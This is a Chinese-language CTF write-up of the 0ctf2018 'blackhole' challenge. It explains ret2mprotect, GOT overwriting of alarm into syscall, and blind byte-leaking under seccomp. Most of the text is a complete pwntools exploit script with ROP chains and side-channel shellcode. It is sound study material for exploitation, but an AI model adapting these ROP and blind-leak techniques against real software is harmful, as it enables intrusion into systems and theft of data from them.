初音未来の消失

ret2mprotect & 盲注尝试 @ 0ctf2018 blackhole

ret2mprotect

该技术是利用 mprotect 来修改段权限,从而制造可写可执行的数据段,最终执行 shellcode 的手段。

mprotect 的用法如下:

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

/*
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度, 最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)*/

其中,段权限与 linux 中的权限完全相同(比如 7 代表 111,即可写可读可执行)

当我们在程序中无法找到合适的位置放置 shellcode,就可以使用该函数来手动创造一个段,可以说是非常自由了。

盲注

在无法获取程序输出的情况下,通过对程序异常或者正常退出的检测,我们可以泄露 1 bit 信息(正常/异常),通过多次尝试,这些信息可以通过译码转换成 flag。

目前流行的几种盲注方式

暴力枚举

每次都构造 shellcode 判断目标字节是否与期望的字节相等。

代码量最小,不过效率较低,最高每个字节要尝试 2^8 次

二分法

为 shellcode 设置三个分支,> = <,根据不同的情况分别将汇编替换为 ja, je, jb,快速缩小搜索范围。

代码量比较大,还要写二分算法,不过效率非常高,可达 log_2(2^8) = 8 次 (实际上还会高一些,因为每次的比较涉及到大小比较和相等比较)

逐个泄露字节

直接构造 shellcode 来泄露每个字节的 8 bits,这种方法应该是最快捷,代码量适中,且效率非常高的方法

lea rdi, flag
mov rsi, 0x1
mov al, byte ptr [rdi+rsi] # 取字节
rsh al, X # 右移X位
cmp al, 0x1
je normal # 比较,如果最低位为1,则正常退出,否则异常退出
exit_not_normal()

normal:
exit_normal()

0ctf2018 blackhole

程序开启了seccomp,只允许 read, mprotect, open, exit,这意味着我们不能泄露任何信息。

题目是一个很简单的栈溢出,很方便构造ROP。

问题是,程序没有 leak,不能泄露任意地址的数据,但为什么题目要提供 libc 呢?

原来,这个 alarm 函数,里面的汇编代码就只有一个设置 syscall 参数,和一个 syscall,我们通过修改 got 表的第一个字节,就能将 alarm_got 直接指向 syscall。

在 libc 中,虽然函数的绝对地址在变,但是它的最后 24 bits 是不变的,因为页表的装载机制决定了它不能对比 0x1000 尺度更小的地址进行修改

在寻找了一遍 ROP 之后,并没有发现 pop_rdi pop_rsi 的 gadget,这时候得祭出 init 函数了,通过这个函数可以一把梭地设置参数和 rip。

这个地方要注意一下 RBP = 1,不然后面的 jnz 是绕不过的。

接下来的事情就比较简单了,构造 ROP 调用 mprotect 修改段权限并且读入flag,通过刚刚的盲注手段逐步泄露flag的每一个字节。

由于本题没有其它任何的泄露方式,正常退出和异常退出在 pwntools 看来都是一样的,所以可以使用 基于IO的盲注,即判断程序在我们提交输入之后,是否还能继续读字节,如果程序退出了,没有接受我们输入的其他垃圾数据,那么便获取到了 0/1 信息。

我在 shellcode 中构造了一个循环,对于两种不同的信息

  1. 会直接退出程序
  2. 会循环调用 read(),直到 alarm 退出

exp 使用的是基于二分法的盲注,所以效率稍低。

exp

from pwn import *
import sys
import time
#context.log_level = 'DEBUG'
context.terminal = ["open-wsl.exe","-c"]
context.arch = 'amd64'

def execute_shellcode(p, shellcode):
    read_got = 0x601048
    alarm_got = 0x601040

    # ------------------------------------- change alarm_got
    payload1 = b'a'*0x20 + p64(1)
    payload1 += p64(0x400A4C) # pop r12,r13,r14,r15
    payload1 += p64(read_got) + p64(0x1) + p64(alarm_got) + p64(0)
    payload1 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload1 += p64(0)*7 + p64(0x4009A7)
    payload1 = payload1.ljust(0x100, b'\xff')

    p.send(payload1) # change alarm_got
    p.send(b'\x85') # change alarm_got

    # -------------------------------------  modify priority of bss segment
    data_s = 0x601058 # a place to store data
    syscall_num = 10

    payload2 = b'a'*0x20 + p64(1)
    payload2 += p64(0x400A4C) # pop r12,r13,r14,r15

    # mprotect(bss, bss_len, prot)
    # rdi = bss, rsi = bss_len, rdx = prot
    # below is equivalent to pop rip, rdx, rsi, edi
    payload2 += p64(read_got) + p64(syscall_num) + p64(data_s) + p64(0)
    payload2 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload2 += p64(0)*2 + p64(1) + p64(0)*4 + p64(0x400A4C)

    payload2 += p64(alarm_got) + p64(7) + p64(0x1000) + p64(0x400000)
    payload2 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload2 += p64(0)*7 + p64(0x4009A7)
    payload2 = payload2.ljust(0x100, b'\xff')

    p.send(payload2)
    p.send(b'a'*syscall_num)

    # -------------------------------------  write 'flag' into bss
    string_data = 0x400BA0 # a place to store string

    flag_string = b"flag\x00"
    string_len = len(flag_string)

    payload3 = b'a'*0x20 + p64(1)
    payload3 += p64(0x400A4C) # pop r12,r13,r14,r15

    # below is equivalent to pop rip, rdx, rsi, edi
    payload3 += p64(read_got) + p64(string_len) + p64(string_data) + p64(0)
    payload3 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload3 += p64(0)*7 + p64(0x4009A7)

    payload3 = payload3.ljust(0x100, b'\xff')

    p.send(payload3)
    p.send(flag_string)

    # -------------------------------------  open flag
    data_s = 0x601058 
    string_data = 0x400BA0 # 'flag'

    syscall_num = 2 # sys_open

    payload4 = b'a'*0x20 + p64(1)
    payload4 += p64(0x400A4C) # pop r12,r13,r14,r15

    # open(filename, flags, mode)
    # rdi = filename, rsi = flags, rdx = mode
    payload4 += p64(read_got) + p64(syscall_num) + p64(data_s) + p64(0)
    payload4 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload4 += p64(0)*2 + p64(1) + p64(0)*4 + p64(0x400A4C)

    payload4 += p64(alarm_got) + p64(0) + p64(0) + p64(string_data)
    payload4 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload4 += p64(0)*7 + p64(0x4009A7)
    payload4 = payload4.ljust(0x100, b'\xff')

    p.send(payload4)
    p.send(b'a'*syscall_num)

    # -------------------------------------  read flag
    flag_data = 0x400A74 # a place to store flag data

    payload5 = b'a'*0x20 + p64(1)
    payload5 += p64(0x400A4C) # pop r12,r13,r14,r15

    # below is equivalent to pop rip, rdx, rsi, edi
    payload5 += p64(read_got) + p64(0x50) + p64(flag_data) + p64(3)
    payload5 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload5 += p64(0)*7 + p64(0x4009A7)

    payload5 = payload5.ljust(0x100, b'\xff')

    p.send(payload5)

    # ------------------------------------- write shellcode
    eh_frame = 0x400AB8 # a place to store shellcode

    payload6 = b'a'*0x20 + p64(1)
    payload6 += p64(0x400A4C) # pop r12,r13,r14,r15

    # below is equivalent to pop rip, rdx, rsi, edi
    payload6 += p64(read_got) + p64(len(shellcode)+0x10) + p64(eh_frame) + p64(0)
    payload6 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload6 += p64(0)*7 + p64(0x4009A7)

    payload6 = payload6.ljust(0x100, b'\xff')

    p.send(payload6)
    p.send(p64(eh_frame+8) + p64(eh_frame+0x10) + shellcode)

    # ------------------------------------- execute shellcode

    payload7 = b'a'*0x20 + p64(1)
    payload7 += p64(0x400A4C) # pop r12,r13,r14,r15

    # below is equivalent to pop rip, rdx, rsi, edi
    payload7 += p64(eh_frame+8) + p64(0)*3
    payload7 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
    payload7 += p64(0)*7 + p64(0x4009A7)

    payload7 = payload7.ljust(0x100, b'\xff')

    #gdb.attach(p, 'b *%s\nc' % (eh_frame+0x10))
    p.send(payload7)

    #p.interactive()

def make_shellcode(byte, op, guessed_int):
    flag_data = 0x400A74
    shellcode = asm("mov rax, %s" % (hex(flag_data+byte)))
    shellcode += asm("""
        jmp compare

        fuck:
        mov rax, 0
        mov rdi, 0
        mov rsi, 0x400000
        mov rdx, 0x300
        syscall
        jmp fuck

        compare:
        mov bl, byte ptr [rax]
        mov rax, %s
        cmp bl, al

        %s fuck
    """ % (hex(guessed_int), op))
    shellcode += asm(shellcraft.amd64.linux.exit(0))

    return shellcode

def judge(byte, operator, guessed_int):
    if operator == '<':
        shellcode = make_shellcode(byte, 'jb', guessed_int) # jump if below
    elif operator == '>':
        shellcode = make_shellcode(byte, 'ja', guessed_int) # jump if above
    elif operator == '==':
        shellcode = make_shellcode(byte, 'je', guessed_int) # jump if equal

    if(len(sys.argv) == 1):
        p = process('./blackhole')
    else:
        p = remote('',)

    execute_shellcode(p, shellcode)
    #pause()

    time.sleep(0.05)
    try:
        p.sendline("fuck")

        p.close()
        info("flag[%d] %s %d" % (byte, operator, guessed_int))
        return True
    except:
        info("flag[%d] not %s %d" % (byte, operator, guessed_int))
        return False # if there

def guess(byte):
    l = 1
    r = 255

    while(l <= r):
        mid = (l + r) // 2
        if judge(byte, '==', mid):
            success("flag[%d] == %d" % (byte, mid))
            return chr(mid)
        elif judge(byte, '>', mid):
            l = mid + 1
        else:
            r = mid - 1

def main():
    # flag{even_black_holes_leak_information_by_Hawking_radiation} 
    flag = ""
    i = len(flag)
    ret = 'a'
    while ret != '}':
        success("start guessing byte %d  ----------------------------------> %s" % (i, flag))
        ret = guess(i)
        flag += ret
        i += 1

    print(flag)

if __name__ == '__main__':
    main()
退出移动版